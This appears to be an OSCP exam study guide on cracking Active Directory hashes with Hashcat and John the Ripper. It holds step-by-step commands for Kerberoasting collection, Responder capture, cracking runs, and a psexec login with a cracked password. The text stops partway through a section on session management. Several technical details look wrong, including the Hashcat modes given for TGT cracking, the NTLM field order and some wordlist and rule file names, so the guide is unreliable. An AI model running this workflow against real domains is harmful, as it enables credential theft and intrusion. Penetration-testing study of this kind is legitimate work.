Domain 6Active Directory AttacksCORE

Hash Cracking for AD

Complete guide to cracking Active Directory hashes using Hashcat and John the Ripper. Covers all AD hash types (NTLM, Kerberos TGS, Kerberos AS-REP, TGT, NetNTLMv2), Hashcat modes, optimization tips, rule-based attacks, mask attacks, and practical cracking strategies for OSCP.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Hashcat#John the Ripper#Hash Cracking#Kerberos Hashes#NTLM Cracking

Hash Cracking for AD

Overview

Hash cracking is the offline phase of Active Directory attacks. After you’ve collected hashes through techniques like Kerberoasting, AS-REP Roasting, credential dumping (Mimikatz, secretsdump.py), or NetNTLMv2 relaying, you need to convert those hashes into plaintext passwords. This is where Hashcat and John the Ripper come in.

On the OSCP exam, you will almost certainly encounter at least one hash cracking scenario. The ability to quickly identify the hash type, select the correct Hashcat mode, and apply the right attack strategy is a core skill that separates passing from failing candidates.

Why Hash Cracking Matters in AD

In Active Directory, hashes are everywhere:

  • NTLM hashes are stored in the ntPasswords attribute of every user/computer account in the AD database.
  • Kerberos TGS tickets (Kerberoasting) are encrypted with the service account’s NTLM hash.
  • Kerberos AS-REP responses (AS-REP Roasting) are encrypted with the user’s own hash when pre-authentication is disabled.
  • Kerberos TGTs are encrypted with the krbtgt account’s hash.
  • NetNTLMv2 challenge-response pairs can be captured during NTLM authentication and cracked offline.

Each of these hash types requires a different Hashcat mode and often a different cracking strategy. This guide covers them all in depth.

Hashcat vs. John the Ripper: When to Use Which

Feature Hashcat John the Ripper
Primary Engine GPU-accelerated (CUDA/OpenCL) CPU-based
Speed Extremely fast (billions of H/s on modern GPUs) Slower (thousands to millions of H/s)
Best For Large wordlists, brute-force, mask attacks Quick single-hash checks, format auto-detection
Rule Support Excellent (-r flag) Good (--wordlist + rules)
Session Management Built-in (--session, --restore) Limited
Multi-GPU Native support Not applicable
Auto-Detection No — you must specify the mode Yes — john --format=auto
OSCP Recommendation Primary tool — use for everything Fallback / quick checks

OSCP Exam Tip: Always default to Hashcat on the attack box (Kali Linux). It has a NVIDIA GPU that makes cracking dramatically faster. Use John only when you need auto-detection or are working on a machine without GPU access.


5.1 Hashcat Modes for AD

Understanding Hashcat Modes

A Hashcat mode (specified with -m) tells Hashcat what algorithm and structure the hash uses. Using the wrong mode means Hashcat will either fail to crack the hash or produce incorrect results. Each AD hash type has a dedicated mode.

Complete Reference Table

Hash Type Hashcat Mode Hash Format / Identifier Encryption Type Typical Source Cracking Speed (RTX 3080)
NTLM 1000 username:rid:ntlm:lm: or just the 32-char hex hash MD4 (one-way) Mimikatz, secretsdump.py, SAM dump ~300 GH/s
Kerberos 5 TGS (RC4-HMAC) 13100 $krb5tgs$23$... RC4-HMAC (etype 23) Kerberoasting (Rubeus, GetUserSPNs.py) ~250 GH/s
Kerberos 5 TGS (AES128-CTS-HMAC-SHA1) 19600 $krb5tgs$17$... AES128 (etype 17) Kerberoasting (modern domains) ~3-5 GH/s
Kerberos 5 TGS (AES256-CTS-HMAC-SHA1) 19600 $krb5tgs$18$... AES256 (etype 18) Kerberoasting (modern domains) ~1-2 GH/s
Kerberos 5 AS-REP (RC4-HMAC) 18200 $krb5asrep$23$... RC4-HMAC (etype 23) AS-REP Roasting (GetNPUsers.py, Rubeus) ~200 GH/s
Kerberos 5 AS-REP (AES128) 19100 $krb5asrep$17$... AES128 (etype 17) AS-REP Roasting (modern domains) ~3-5 GH/s
Kerberos 5 AS-REP (AES256) 19200 $krb5asrep$18$... AES256 (etype 18) AS-REP Roasting (modern domains) ~1-2 GH/s
Kerberos 5 TGT (RC4-HMAC) 7500 $krb5tgs$23$... (krbtgt context) RC4-HMAC (etype 23) Mimikatz TGT extraction, DCSync ~250 GH/s
Kerberos 5 TGT (AES128) 7600 $krb5tgs$17$... (krbtgt context) AES128 (etype 17) Mimikatz TGT extraction ~3-5 GH/s
Kerberos 5 TGT (AES256) 7700 $krb5tgs$18$... (krbtgt context) AES256 (etype 18) Mimikatz TGT extraction ~1-2 GH/s
NetNTLMv1 5500 username::domain:challenge:response: NTLMv1 response SMB relay, pth-winexe ~250 GH/s
NetNTLMv2 5600 username::domain:challenge:response:extra:session: NTLMv2 response SMB relay, Inveigh, Responder ~250 GH/s
LM Hash 1000 (with : suffix) username:rid:ntlm:lm: LAN Manager Legacy systems (rare) ~300 GH/s

Understanding the Hash Formats

NTLM Hash Format

username:1000:8a0c663a9a33b4352d4b138a30c7e8a4:aad3b435b51404eeaad3b435b51404ee:::
  • Field 1: Username
  • Field 2: RID (Relative Identifier, usually 1000 for users)
  • Field 3: NTLM hash (32-character hexadecimal — this is the MD4 hash of the Unicode password)
  • Field 4: LM hash (32-character hexadecimal — often aad3b435b51404eeaad3b435b51404ee which means LM hashing is disabled)
  • Note: The NTLM hash is a one-way hash. Cracking it gives you the plaintext password, but you cannot reverse-engineer it directly.

Kerberos TGS Hash Format (Kerberoasting)

$krb5tgs$23$user@DOMAIN.COM$MSSQLSvc/sql.domain.com:1433~DOMAIN.COM$...
  • $krb5tgs$ — Identifies this as a Kerberos TGS hash
  • 23 — Encryption type (23 = RC4-HMAC, 17 = AES128, 18 = AES256)
  • user@DOMAIN.COM — The user principal who requested the ticket
  • MSSQLSvc/sql.domain.com:1433 — The SPN (Service Principal Name) of the target service
  • The remainder is the encrypted ticket data (base64-encoded)

Kerberos AS-REP Hash Format (AS-REP Roasting)

$krb5asrep$23$targetuser@DOMAIN.COM:...
  • $krb5asrep$ — Identifies this as a Kerberos AS-REP hash
  • 23 — Encryption type
  • targetuser@DOMAIN.COM — The target account (pre-authentication disabled)
  • The remainder is the encrypted AS-REP response

Kerberos TGT Hash Format

$krb5tgs$23$krbtgt~domain.com@DOMAIN.COM$...
  • This is the TGT encrypted with the krbtgt account’s hash
  • Cracking this reveals the krbtgt plaintext password — the most critical credential in the domain

NetNTLMv2 Hash Format

username::domain:challenge:response:extra:session:
  • Challenge: Random value sent by the server (16 hex chars)
  • Response: The client’s NTLMv2 response to the challenge
  • Unlike NTLM, NetNTLMv2 is a challenge-response protocol — the same password produces different responses for different challenges
  • Still crackable offline because the challenge is known

Identifying Hash Types Automatically

When you’re unsure what type of hash you have, use these tools:

# Hashcat identifier (built-in)
hashcat --identify --example="hash_string_here"

# Example output:
# Name            : Kerberos 5, etype 23, AS-REP
# Name One        : Kerberos5-AS-REP-23
# Category        : Kerberos
# Hash Mode       : 18200

# hashid (Python-based, pre-installed on Kali)
hashid "hash_string_here"

# John the Ripper auto-detection
echo "hash_string_here" > hash.txt
john --format=auto hash.txt --show

OSCP Exam Relevance: ⭐⭐⭐⭐⭐ You MUST memorize the most common modes: 1000 (NTLM), 13100 (TGS/RC4), 18200 (AS-REP/RC4), and 5600 (NetNTLMv2). These appear in virtually every AD-based OSCP machine. Write them on your notes sheet.


5.2 TGT Cracking

What is a TGT?

A Ticket Granting Ticket (TGT) is the cornerstone of Kerberos authentication. When a user logs into a domain, the KDC issues a TGT encrypted with the krbtgt account’s hash. This TGT is then used to request service tickets (TGS) for any resource in the domain.

Cracking a TGT means recovering the krbtgt account’s plaintext password. This is equivalent to total domain compromise — with the krbtgt password, you can forge Golden Tickets and access any resource in the domain.

How Do You Get a TGT Hash?

TGT hashes are obtained through:

  1. DCSync Attack — Using Mimikatz or secretsdump.py to replicate the krbtgt account’s hash from the Domain Controller.
  2. Mimikatz TGT Extraction — If you have domain admin access, extract the TGT from memory: sekurlsa::tickets /export
  3. Pass-the-Hash — If you already have the krbtgt NTLM hash from another source.

TGT Hash Format

When extracted via DCSync, the krbtgt hash looks like a regular NTLM hash:

krbtgt$@DOMAIN.COM:502:aad3b435b51404eeaad3b435b51404ee:8a0c663a9a33b4352d4b138a30c7e8a4:::

When extracted as a Kerberos ticket and converted for Hashcat, it uses the Kerberos TGT format:

$krb5tgs$23$krbtgt~domain.com@DOMAIN.COM$...

Cracking Commands

Method 1: TGT as NTLM Hash (Mode 1000)

If you have the krbtgt hash from DCSync, it’s just an NTLM hash:

# Basic dictionary attack
hashcat -m 1000 krbtgt_hash.txt /usr/share/wordlists/rockyou.txt -O

# With session naming (for resumption)
hashcat -m 1000 krbtgt_hash.txt /usr/share/wordlists/rockyou.txt -O --session krbtgt-crack

# Rule-based attack
hashcat -m 1000 krbtgt_hash.txt /usr/share/wordlists/rockyou.txt -O \
    -r /usr/share/hashcat/rules/best64.rule \
    --session krbtgt-rules

Method 2: TGT as Kerberos Hash (Mode 7500/7600/7700)

If you have the TGT in Kerberos format:

# RC4-HMAC (etype 23) — most common in OSCP labs
hashcat -m 7500 tgt_hash.txt /usr/share/wordlists/rockyou.txt -O

# AES128 (etype 17)
hashcat -m 7600 tgt_hash.txt /usr/share/wordlists/rockyou.txt

# AES256 (etype 18)
hashcat -m 7700 tgt_hash.txt /usr/share/wordlists/rockyou.txt

# Rule-based attack on RC4 TGT
hashcat -m 7500 tgt_hash.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O \
    --session tgt-rc4-rules

# Mask attack (if you know the password pattern)
# Pattern: Uppercase + lowercase + lowercase + lowercase + digit + digit + digit + digit
# e.g., "P@ssw0rd" pattern → ?u?l?l?l?d?d?d?d
hashcat -m 7500 tgt_hash.txt ?u?l?l?l?d?d?d?d -O --session tgt-mask

Flag Explanations

Flag Purpose Example
-m 7500 Sets hash mode to Kerberos 5 TGT (RC4) Required for TGT cracking
-O Optimized kernel — uses optimized OpenCL/CUDA kernels for supported modes. Always use this for modes that support it. Can provide 2-3x speedup. hashcat -m 7500 hash.txt wordlist.txt -O
--session name Names the cracking session. Allows you to resume later with --restore. Essential for long-running attacks. --session krbtgt-attempt1
-r rules/file.rule Applies a rule file to mutate each wordlist entry -r /usr/share/hashcat/rules/best64.rule
-w 3 Work profile (1=lightweight, 2=normal, 3=heavyweight, 4=extr heav). Profile 3 uses more VRAM and CPU but achieves higher H/s. -w 3
--remove Removes cracked hashes from the input file as they’re found Useful when cracking many hashes at once
--show Displays already-cracked passwords from the session hashcat -m 7500 hash.txt --show
--restore Restores the most recently saved session hashcat --restore

John the Ripper Alternative

# NTLM format (from DCSync)
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt krbtgt_hash.txt

# Kerberos TGT format
john --format=krb5tgs,23 --wordlist=/usr/share/wordlists/rockyou.txt tgt_hash.txt

# Show cracked passwords
john --show tgt_hash.txt

Strategy for TGT Cracking

  1. Try dictionary first — rockyou.txt alone catches a surprising number of passwords.
  2. Add rules — If dictionary alone fails, add best64.rule or one33333333.rule.
  3. Try mask attacks — If you have hints about the password structure (e.g., “starts with uppercase, ends with 4 digits”), use a targeted mask.
  4. Be patient — TGT passwords are often the strongest in the domain. If the above fails, the password may be too complex for offline cracking.

OSCP Exam Relevance: ⭐⭐⭐⭐ TGT cracking is less common than NTLM or Kerberoasting on OSCP, but it appears in harder machines (especially those requiring DCSync). Know that cracking the krbtgt hash = domain compromise.

Common Pitfalls

  • Wrong mode: Using mode 13100 (TGS) instead of 7500 (TGT) for a krbtgt hash. Always check the hash format first.
  • Forgetting -O: The -O flag can double your cracking speed on supported modes. Always include it.
  • Not naming sessions: Without --session, you lose progress if Hashcat is interrupted. Always name your sessions.
  • AES hashes are slow: AES128/AES256 Kerberos hashes crack at a fraction of RC4 speed. If you get an AES hash, expect much longer cracking times. Consider whether the target is worth the effort.

5.3 TGS Cracking (Kerberoasting)

What is Kerberoasting?

Kerberoasting is one of the most common and reliable Active Directory attacks on the OSCP exam. Here’s why it works:

  1. Any domain user can request a TGS ticket for any SPN registered in the domain.
  2. The TGS ticket is encrypted with the service account’s NTLM hash.
  3. The attacker extracts the encrypted ticket and cracks it offline — no interaction with the domain required after extraction.
  4. No special privileges needed — any authenticated domain user can perform this attack.

TGS Hash Collection (Quick Recap)

Before cracking, you need the hash. Here’s how you collect it:

# Method 1: Rubeus (from Windows box)
Rubeus.exe kerberoast /outfile:tgs_hashes.txt

# Method 2: Impacket (from Kali/Linux)
python3 GetUserSPNs.py DOMAIN.COM/user:password -request -dc-ip 10.10.10.100 > tgs_hashes.txt

# Method 3: Get user SPNs first, then request tickets
python3 GetUserSPNs.py DOMAIN.COM/user:password -request-from target_spn -dc-ip 10.10.10.100

TGS Hash Format Breakdown

$krb5tgs$23$srvsql$MSSQLSvc/sqlserver.domain.com:1433~DOMAIN.COM$c6f7a8b9...
              ^^     ^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
              |      |       |
              |      |       └─ SPN (Service Principal Name)
              |      └─ Username / Service Account
              └─ Encryption type (23=RC4, 17=AES128, 18=AES256)

Cracking Commands

RC4-HMAC (etype 23) — The Most Common Case

RC4-HMAC is by far the most common encryption type you’ll encounter in OSCP labs. It’s fast to crack and widely supported.

# Basic dictionary attack
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -O \
    --session kerberoast-rc4

# With best64 rules (adds common mutations: capitalization, appending numbers, leetspeak)
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O \
    --session kerberoast-rc4-rules

# With one33333333 rules (more aggressive, ~1M rules — much slower but higher coverage)
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/one33333333.rule -O \
    --session kerberoast-rc4-one33

# Show results without restarting
hashcat -m 13100 tgs_hashes.txt --show --session kerberoast-rc4

AES128 / AES256 (etype 17/18) — Modern Domains

Both AES128 and AES256 TGS hashes use the same Hashcat mode (19600). Hashcat auto-detects the etype from the hash itself.

# AES TGS cracking (mode 19600 handles both etype 17 and 18)
hashcat -m 19600 tgs_aes_hashes.txt /usr/share/wordlists/rockyou.txt \
    --session kerberoast-aes

# Important: -O flag does NOT work with mode 19600 (AES modes don't have optimized kernels)
# Do NOT use -O with AES Kerberos modes

# With rules
hashcat -m 19600 tgs_aes_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule \
    --session kerberoast-aes-rules

Warning: AES Kerberos hashes crack 50-100x slower than RC4. An RC4 hash might crack in minutes; an AES256 hash with a complex password could take days. On the OSCP exam, prioritize RC4 hashes first.

Attack Type Deep Dive

1. Dictionary Attack (Attack Mode 0)

The simplest approach — try every word in a wordlist as a potential password.

# Default attack mode is 0 (dictionary), so -a 0 is optional
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt -O -a 0

When to use: First attempt on any hash. Catches weak/default passwords.

Best wordlists for OSCP:

  • /usr/share/wordlists/rockyou.txt — The gold standard. 14 million passwords.
  • /usr/share/wordlists/rockyou.txt.dna4x — Extended version with common mutations.
  • /usr/share/wordlists/weakpass.txt — Common weak passwords.
  • Custom wordlists extracted from the target environment (e.g., company name, domain name, service names).

2. Rule-Based Attack (Attack Mode 0 + Rules)

Rules mutate each wordlist entry. A single word like “password” becomes “Password”, “Password1”, “P@ssw0rd”, “password2024”, etc.

# best64.rule — 64 rules, fast, good coverage of common patterns
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O

# one33333333.rule — ~1M rules, very thorough but slow
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/one33333333.rule -O

# Custom rule file
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /path/to/custom.rule -O

Popular rule files (all pre-installed on Kali):

Rule File Rules Count Speed Best For
best64.rule 64 Very fast Quick first pass
one33333333.rule ~1M Slow Thorough coverage
d3ad0ne.rule ~1M Slow Alternative to one33333333
rule3zie.rule ~1M Slow Aggressive mutations
T00LS.txt ~20K Fast Common password policies

What rules typically do:

  • Capitalize first letter (c = capitalize)
  • Append numbers ($1, $2, $2024)
  • Leetspeak substitutions (p → @, s → $, e → 3)
  • Duplicate characters
  • Reverse the word
  • Toggle case

3. Mask / Brute-Force Attack (Attack Mode 3)

When you know the password structure, mask attacks are incredibly efficient.

# Pattern: 1 uppercase + 5 lowercase + 2 digits (e.g., "Password12")
hashcat -m 13100 tgs_hashes.txt ?u?l?l?l?l?l?d?d -O -a 3

# Pattern: Company name + 2 digits (e.g., "Contoso12")
# First create a custom charset
hashcat -m 13100 tgs_hashes.txt Contoso?d?d -O -a 3

# Pattern: 8-10 characters, mixed case + digits
hashcat -m 13100 tgs_hashes.txt ?a?a?a?a?a?a?a?a -O -a 3

Hashcat charset references:

Charset Characters Example Use
?l a-z (lowercase) Lowercase letters
?u A-Z (uppercase) Uppercase letters
?d 0-9 (digits) Numbers
?s Special characters (!@#$%^&*…) Symbols
?a ?l?u?d?s (all printable) Any character
?b All 256 bytes Binary data

Custom charsets:

# Define a custom charset on the command line
# --custom-charset1 ?a?b?c?d (only these 4 lowercase letters)
hashcat -m 13100 tgs_hashes.txt ?1?1?1?1?1?1 \
    -1 abcdefghijklmnopqrstuvwxyz0123456789 -a 3

# Or use a charset file
echo "abcdefghijklmnopqrstuvwxyz0123456789" > charset.txt
hashcat -m 13100 tgs_hashes.txt ?1?1?1?1?1?1?1?1 \
    -1 charset.txt -a 3

4. Hybrid Attack: Dictionary + Mask (Attack Mode 6)

Combines a wordlist with a mask appended to each word. Great for passwords like “Password2024” where “Password” is in the wordlist and “2024” follows a pattern.

# Wordlist + 4-digit suffix (e.g., "password2024")
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -a 6 ?d?d?d?d -O

# Wordlist + 2-digit suffix
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -a 6 ?d?d -O

# Wordlist + uppercase + 2 digits (e.g., "passwordA1")
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -a 6 ?u?d?d -O

5. Hybrid Attack: Mask + Dictionary (Attack Mode 7)

Combines a mask prefix with a wordlist. Useful for passwords like “P@ssword” where a pattern precedes a dictionary word.

# Prefix pattern + wordlist (e.g., "2024password")
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt \
    -a 7 ?d?d?d?d -O

6. Combinator Attack (Attack Mode 1)

Combines two wordlists — every word from wordlist1 paired with every word from wordlist2.

# Combine common words with common suffixes
hashcat -m 13100 tgs_hashes.txt \
    /usr/share/wordlists/common-usernames.txt \
    /usr/share/wordlists/common-passwords.txt \
    -a 1

John the Ripper for TGS Cracking

# Auto-detect format and crack
john --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt

# Specify format explicitly
john --format=krb5tgs,23 --wordlist=/usr/share/wordlists/rockyou.txt tgs_hashes.txt

# Show cracked passwords
john --show tgs_hashes.txt

# Resume an interrupted session
john --restore tgs_hashes.txt

Kerberoasting Cracking Strategy (Step-by-Step)

Follow this progression for maximum efficiency:

Step 1: Separate RC4 from AES hashes
  ├─ grep '$krb5tgs$23$' tgs_hashes.txt > rc4_hashes.txt
  └─ grep -E '\$krb5tgs\$(17|18)\$' tgs_hashes.txt > aes_hashes.txt

Step 2: Crack RC4 hashes first (faster)
  ├─ 2a: Dictionary only → hashcat -m 13100 rc4_hashes.txt rockyou.txt -O --session rc4-dict
  ├─ 2b: Dictionary + best64 → hashcat -m 13100 rc4_hashes.txt rockyou.txt -r best64.rule -O --session rc4-rules
  └─ 2c: If pattern known → mask attack

Step 3: Crack AES hashes (if any remain)
  ├─ 3a: Dictionary → hashcat -m 19600 aes_hashes.txt rockyou.txt --session aes-dict
  └─ 3b: Dictionary + rules → hashcat -m 19600 aes_hashes.txt rockyou.txt -r best64.rule --session aes-rules

Step 4: Review results
  └─ hashcat -m 13100 rc4_hashes.txt --show

Practical Example: Full Kerberoasting Workflow

# === COLLECTION PHASE ===
# From Kali, request TGS tickets for all SPNs
python3 GetUserSPNs.py OFFSEC.LOCAL/sa_admin:Password123 -request -dc-ip 10.10.10.100 > tgs_raw.txt

# === PREPARATION PHASE ===
# Check what we got
cat tgs_raw.txt
# Output: $krb5tgs$23$svc_sql$MSSQLSvc/sqlserver.offsec.local:1433~OFFSEC.LOCAL$...

# Separate by encryption type
grep '\$krb5tgs\$23\$' tgs_raw.txt > tgs_rc4.txt
grep -E '\$krb5tgs\$(17|18)\$' tgs_raw.txt > tgs_aes.txt

# === CRACKING PHASE ===
# Round 1: Plain dictionary on RC4
hashcat -m 13100 tgs_rc4.txt /usr/share/wordlists/rockyou.txt -O \
    --session kerb-round1 --status --status-timer=60

# Check results
hashcat -m 13100 tgs_rc4.txt --show --session kerb-round1

# If not all cracked, remove found hashes and try rules
hashcat -m 13100 tgs_rc4.txt /usr/share/wordlists/rockyou.txt -O \
    -r /usr/share/hashcat/rules/best64.rule \
    --session kerb-round2 --status --status-timer=60

# === POST-CRACK PHASE ===
# Use the cracked password
# If svc_sql password = "SQLs3rvice!", authenticate:
python3 psexec.py OFFSEC.LOCAL/svc_sql:'SQLs3rvice!'@10.10.10.50

OSCP Exam Relevance: ⭐⭐⭐⭐⭐ Kerberoasting is EXTREMELY common on OSCP. Almost every AD machine has at least one service account with a crackable password. Master this workflow. The RC4 mode (13100) is the one you’ll use 90% of the time.

Common Pitfalls and Troubleshooting

Problem Cause Solution
Hashcat says “Hashes file contained 0 hashes” Wrong format or empty file Verify the file with cat and check the hash starts with $krb5tgs$
Speed is 0 H/s GPU not detected or driver issue Run hashcat -I to verify GPU detection. Check NVIDIA drivers.
“Optimized kernel not supported” Using -O with an unsupported mode Remove -O for AES Kerberos modes (19600, 19100, 19200)
Cracked password doesn’t work Wrong hash matched, or service account has been changed Verify the username from the hash output matches the target SPN
Session can’t be restored Hashcat session file corrupted Re-run the attack; ensure --session name matches
Out of memory error Too many hashes or mask too large Reduce the number of hashes per run, or use -w 2 (lighter work profile)

5.4 NTLM Cracking

What is NTLM?

NTLM (NT LAN Manager) is Microsoft’s challenge-response authentication protocol. The NTLM hash is the MD4 hash of the user’s Unicode (UTF-16LE) password. Key properties:

  • One-way hash: Cannot be reversed — must be cracked by guessing.
  • Case-sensitive: “Password” and “password” produce different hashes.
  • No salt: The same password always produces the same NTLM hash. This means rainbow tables work (though Hashcat doesn’t use them by default).
  • 32 characters: Always a 32-character hexadecimal string.

Where Do You Get NTLM Hashes?

Source Tool Output Format
SAM database dump (local admin) Mimikatz lsadump::sam username:rid:ntlm:lm:
LSA memory dump (domain admin) Mimikatz sekurlsa::logonpasswords Plaintext + NTLM
DCSync (domain admin / DA-equivalent) secretsdump.py or Mimikatz lsadump::dcsync username:rid:ntlm:lm:
WPAD / Proxy attacks Various NetNTLMv2 (mode 5600)
SMB relay capture Responder, Inveigh NetNTLMv2 (mode 5600)

NTLM Hash Format

# Full format (from Mimikatz/secretsdump)
username:1000:8a0c663a9a33b4352d4b138a30c7e8a4:aad3b435b51404eeaad3b435b51404ee:::

# Simplified format (just the hash)
8a0c663a9a33b4352d4b138a30c7e8a4

# Hashcat accepts both formats, but the full format preserves username mapping

Cracking NTLM Hashes

Basic Dictionary Attack

# Single hash
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt -O

# Multiple hashes (e.g., from DCSync dump)
hashcat -m 1000 all_hashes.txt /usr/share/wordlists/rockyou.txt -O \
    --session ntlm-dict --remove

# --remove flag: removes cracked hashes from input as they're found
# This lets you chain attacks without manual filtering

Rule-Based Attack

# best64 — fast, good coverage
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O \
    --session ntlm-best64

# one33333333 — thorough, slower
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/one33333333.rule -O \
    --session ntlm-one33

# Custom rule: capitalize first letter + append year
# Create a simple rule file:
echo -e "c\n$2024\n$2023\n$2022\n$1\n$2\n$3" > custom_year.rule

hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt \
    -r custom_year.rule -O

Mask Attack

# Common corporate password pattern: Capital + 6 lowercase + 2 digits
# e.g., "Password12", "Summer2024"
hashcat -m 1000 ntlm_hash.txt ?u?l?l?l?l?l?l?d?d -O -a 3

# 8-character all printable
hashcat -m 1000 ntlm_hash.txt ?a?a?a?a?a?a?a?a -O -a 3

# Hybrid: wordlist + 2 digits appended
hashcat -m 1000 ntlm_hash.txt /usr/share/wordlists/rockyou.txt \
    -a 6 ?d?d -O

Cracking Multiple Hashes Efficiently

When you have many NTLM hashes (e.g., from a full DCSync dump), use this strategy:

# Step 1: Crack with dictionary, remove found hashes
hashcat -m 1000 all_hashes.txt /usr/share/wordlists/rockyou.txt -O \
    --session ntlm-all-dict --remove --status --status-timer=60

# Step 2: On remaining hashes, try rules
hashcat -m 1000 all_hashes.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O \
    --session ntlm-all-rules --remove --status --status-timer=60

# Step 3: Show all cracked passwords
hashcat -m 1000 all_hashes.txt --show

# Step 4: What's left uncracked?
cat all_hashes.txt
# (Only uncracked hashes remain because of --remove)

NetNTLMv2 Cracking

NetNTLMv2 is different from NTLM. It’s a challenge-response protocol, not a static hash. The same password produces different responses for different challenges. However, because the challenge is captured alongside the response, it can still be cracked offline.

NetNTLMv2 Hash Format

username::domain:9876543210abcdef:abcdef1234567890abcdef1234567890abcdef1234567890:a1b2c3d4e5f6:1122334455667788
         ^^        ^^  ^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
         |         |   | Challenge                              | Response
         |         |   └─ 16 hex chars (8 bytes)
         |         └─ Domain name
         └─ Username

Cracking Commands

# Dictionary attack
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt -O \
    --session netntlmv2-dict

# Rule-based
hashcat -m 5600 netntlmv2.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule -O \
    --session netntlmv2-rules

# Mask attack
hashcat -m 5600 netntlmv2.txt ?u?l?l?l?l?l?l?d?d -O -a 3

Capturing NetNTLMv2 (Context)

# Using Responder
Responder -I eth0 -wvr

# Using Inveigh (from Windows)
Inveigh.ps1

# After capture, crack the saved hashes
hashcat -m 5600 captured_hashes.txt /usr/share/wordlists/rockyou.txt -O

John the Ripper for NTLM

# Auto-detect (works well for NTLM)
john --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt

# Explicit format
john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt ntlm_hashes.txt

# Show results
john --show ntlm_hashes.txt

# For NetNTLMv2
john --format=netntlmv2 --wordlist=/usr/share/wordlists/rockyou.txt netntlmv2.txt

NTLM Cracking Strategy

Priority Order:
1. Dictionary (rockyou.txt) → catches ~60-70% of OSCP passwords
2. Dictionary + best64 rules → catches another ~20%
3. Dictionary + one33333333 rules → catches another ~5%
4. Hybrid (wordlist + mask) → if you know the pattern
5. Full mask brute-force → last resort, only for short passwords

OSCP Exam Relevance: ⭐⭐⭐⭐⭐ NTLM cracking (mode 1000) is the most fundamental cracking skill for OSCP. You will crack NTLM hashes on nearly every Windows machine. Have the command memorized: hashcat -m 1000 hashes.txt rockyou.txt -O

Common Pitfalls

Problem Cause Solution
Hashcat outputs “Session restored” unexpectedly Previous session wasn’t cleaned up Run hashcat -m 1000 hash.txt --restore --attack-mode 0 wordlist.txt or delete hashcat.potfile and session files
Password cracked but doesn’t work on target Hash belongs to a different user Check the username in the hash output; match it to the right account
“Not enough memory” error Too many hashes for GPU VRAM Process hashes in smaller batches, or use -w 1 (lightweight profile)
Cracked password has weird characters Hashcat output encoding issue Use --show to verify; copy carefully from terminal
LM hash aad3b435b51404eeaad3b435b51404ee LM hashing is disabled (normal) This is expected — focus on the NTLM hash field

5.5 Hashcat Optimization Tips

GPU Optimization Flags

The -O flag is the single most important optimization for Hashcat. It enables optimized kernels that are specifically designed for certain hash types.

# Always use -O for supported modes (1000, 13100, 18200, 5600, 7500, etc.)
hashcat -m 13100 hashes.txt wordlist.txt -O

# Check which modes support optimized kernels
hashcat --help | grep -A 50 "Optimized"

Modes that support -O:

  • 1000 (NTLM)
  • 13100 (Kerberos TGS RC4)
  • 18200 (Kerberos AS-REP RC4)
  • 5600 (NetNTLMv2)
  • 7500 (Kerberos TGT RC4)
  • And many more…

Modes that do NOT support -O:

  • 19600 (Kerberos TGS AES)
  • 19100 (Kerberos AS-REP AES128)
  • 19200 (Kerberos AS-REP AES256)
  • 7600, 7700 (Kerberos TGT AES)

Work Profiles

Hashcat work profiles control the trade-off between speed and resource usage:

# -w 1: Lightweight — fewer threads, less VRAM, lower speed
hashcat -m 13100 hashes.txt wordlist.txt -O -w 1

# -w 2: Normal — default balance
hashcat -m 13100 hashes.txt wordlist.txt -O -w 2

# -w 3: Heavyweight — more threads, more VRAM, higher speed (RECOMMENDED for cracking)
hashcat -m 13100 hashes.txt wordlist.txt -O -w 3

# -w 4: Ultra — maximum threads, maximum VRAM, maximum speed
hashcat -m 13100 hashes.txt wordlist.txt -O -w 4
Profile Threads VRAM Usage Speed Use Case
-w 1 Low Low Slow Testing, low-end GPUs
-w 2 Medium Medium Normal Default, safe choice
-w 3 High High Fast Recommended for OSCP
-w 4 Max Max Fastest Large GPUs, dedicated cracking

Session Management

Session management is critical for long-running attacks. It lets you pause, resume, and track progress.

# Start a named session
hashcat -m 13100 hashes.txt wordlist.txt -O \
    --session my-attack-1 \
    --status --status-timer=30

# Check status of running session
hashcat -m 13100 hashes.txt --status --session my-attack-1

# Pause the session (Ctrl+C saves the session automatically)
# Then resume later:
hashcat --restore

# Or resume a specific session:
hashcat -m 13100 hashes.txt wordlist.txt -O \
    --session my-attack-1 --restore

# List all saved sessions
